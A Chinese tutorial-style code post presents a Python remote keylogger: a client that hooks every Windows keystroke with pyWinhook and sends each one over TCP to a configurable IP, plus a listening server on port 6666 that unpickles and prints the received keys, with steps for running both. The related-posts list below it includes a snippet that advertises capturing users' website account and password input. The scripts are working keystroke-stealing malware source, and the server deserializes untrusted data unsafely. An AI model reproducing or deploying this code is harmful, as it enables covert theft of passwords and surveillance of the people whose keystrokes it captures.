python实现监听键盘

python实现监听键盘,供大家参考,具体内容如下实现服务端

import pickle
from io import BytesIO
import socket

#接收数据
def Server_Recive(ip,port):
    socket_obj = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    socket_obj.bind((ip,port))
    socket_obj.listen(5)

    file = 1

    while True:
        connection,address = socket_obj.accept()
  #接受的数据
        recieved_message = b''
        recieved_message_fragment = connection.recv(1024)
        while recieved_message_fragment:
            recieved_message += recieved_message_fragment
            recieved_message_fragment = connection.recv(1024)

        try:
            obj = pickle.loads(recieved_message)
            print(obj['Key'],end=' ')
        except EOFError:
            file_name = 'recv_image_' + str(file_on) + '.bmp'
            recv_image = open(file_name,'wb')
            recv_image.write(recieved_message)
            file_on += 1
        connection.close()

if __name__ == '__main__':
    Server_IP = '0.0.0.0'
    Server_Port = 6666
    Server_Recive(Server_IP,Server_Port)

键盘监听程序

#键盘监听

import pythoncom,pyWinhook,pickle,socket
from io import BytesIO

def Client_PIC(ip,port,obj):
    try:
        msg = pickle.dumps(obj)
        send_message = BytesIO(msg)
        send_message_fragment = send_message.read(1024)
    except:
        send_message = obj
        send_message_fragment = send_message.read(1024)

    socket_obj = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    socket_obj.connect((ip,port))

    while send_message_fragment:
        socket_obj.send(send_message_fragment)
        send_message_fragment = send_message.read(1024)

    socket_obj.close()

def OnkeyBoardEvent(event):
    dict_key = {}
    dict_key['MessageName'] = event.MessageName
    dict_key['Key'] = event.Key

    Client_PIC('你自己的ip地址',6666,dict_key)
    return True

def Keylogger():
    hm = pyWinhook.HookManager()
    hm.KeyDown = OnkeyBoardEvent
    hm.HookKeyboard()
    pythoncom.PumpMessages()

if __name__ == '__main__':
    Keylogger() 

其中的pythoncom,pyWinhook百度查找安装方法,在此不赘述

运行(先运行服务端,而后运行监听程序)

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持我们。

(0)

相关推荐

  • spring boot实现超轻量级网关(反向代理、转发)的示例

    作者: JadePeng 出处:https://www.cnblogs.com/xiaoqi/p/spring-boot-route.html 在我们的rest服务中,需要暴露一个中间件的接口给用户,但是需要经过rest服务的认证,这是典型的网关使用场景.可以引入网关组件来搞定,但是引入zuul等中间件会增加系统复杂性,这里实现一个超轻量级的网关,只实现请求转发,认证等由rest服务的spring security来搞定. 如何进行请求转发呢? 熟悉网络请求的同学应该很清楚,请求无非就是请求方式

  • python实现监听键盘

    python实现监听键盘,供大家参考,具体内容如下实现服务端 import pickle from io import BytesIO import socket #接收数据 def Server_Recive(ip,port): socket_obj = socket.socket(socket.AF_INET,socket.SOCK_STREAM) socket_obj.bind((ip,port)) socket_obj.listen(5) file = 1 while True: con

  • 使用python编写监听端

    本文实例为大家分享了python编写监听端的具体代码,供大家参考,具体内容如下 import socket import time import sys import string import struct import errno import binascii #Definition ser_ip = 'localhost' ser_port = 15001 HEADER_LISTENER = "IIII" split_time = 4 class TcpClient: def

  • python hook监听事件详解

    本文实例为大家分享了python hook监听事件的具体代码,供大家参考,具体内容如下 # -*- coding: utf-8 -*- # # by oldj http://oldj.net/ # import pythoncom import pyHook def onMouseEvent(event): # 监听鼠标事件 print "MessageName:",event.MessageName print "Message:", event.Message

  • Python 通过监听端口实现唯一脚本运行方式

    我就废话不多说了,大家还是直接看代码吧 try: s = socket.socket() s.bind(('127.0.0.1', port)) except: log.info(' * already has an instance, so exit.') exit(0) 补充知识:Python:一个简单的tornado程序:监听服务器端口,访问时给浏览器返回一个字符串 一个简单的tornado程序 tornado是python里的一个模块,它是一种web服务器软件的开源版本 它作为web服务

  • Python文件监听工具pyinotify与watchdog实例

    pyinotify库 支持的监控事件 @cvar IN_ACCESS: File was accessed. @type IN_ACCESS: int @cvar IN_MODIFY: File was modified. @type IN_MODIFY: int @cvar IN_ATTRIB: Metadata changed. @type IN_ATTRIB: int @cvar IN_CLOSE_WRITE: Writtable file was closed. @type IN_CLO

  • Python持续监听文件变化代码实例

    在日常的工作中,有时候会有这样的需求,需要一个常驻任务,持续的监听一个目录下文件的变化,对此作出回应. pyinotify就是这样的一个python包,使用方式如下: 一旦src.txt有新的内容,程序就可以监控到,然后将内容发送 import socket import pyinotify pos = 0 def send(c): c_list = [c] s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('127

  • 基于python实现监听Rabbitmq系统日志代码示例

    介绍 rabbitmq默认有7个交换机,其中amq.rabbitmq.log为系统日志的交换机,这个日志为topic类型,会有三个等级的(routing_key)的日志发送到这个交换机上. 代码如下 #!/usr/bin/env python # -*- coding: utf-8 -*- import pika # ########################### 订阅者 ########################### credentials = pika.PlainCreden

  • Python pygame 项目实战事件监听

    目录 1. 在游戏循环中监听事件 2. 案例演示 2.1 案例概览 2.2 运行结果 1. 在游戏循环中监听事件 事件event: 就是游戏启动后,用户针对游戏所做的操作 例如:点击关闭按钮,点击鼠标,按下键盘 监听: 在游戏循环中,判断用户具体操作 只有捕获到用户具体的操作,才能有针对性的做出响应 简而言之,在游戏循环中编写一小段代码,通过这一小段代码,判断用户的具体操作行为,这个就叫做监听 代码实现: pygame中通过pygame.event.get()可以获得用户当前所做动作的事件列表(

  • Python中使用PyHook监听鼠标和键盘事件实例

    PyHook是一个基于Python的"钩子"库,主要用于监听当前电脑上鼠标和键盘的事件.这个库依赖于另一个Python库PyWin32,如同名字所显示的,PyWin32只能运行在Windows平台,所以PyHook也只能运行在Windows平台. 关于PyHook的使用,在它的官方主页上就有一个简单的教程,大体上来说,可以这样使用 # -*- coding: utf-8 -*- # 3import pythoncom 4import pyHook 5def onMouseEvent(e

  • Python利用pyHook实现监听用户鼠标与键盘事件

    本文以一段简单的监听鼠标.键盘事件的程序,实现获取用户的输入(比如登录某些网站的账号.密码)的功能.经测试,对于一台"裸奔"的电脑,完全能获取到用户输入的任何信息:但是如果安装了杀毒软件,就够呛了.具体实现方法如下: 一.代码部分:获取用户输入信息,并与截图一起保存到XX目录下 # -*- coding: utf-8 -*- # import pythoncom import pyHook import time import socket from PIL import ImageG

随机推荐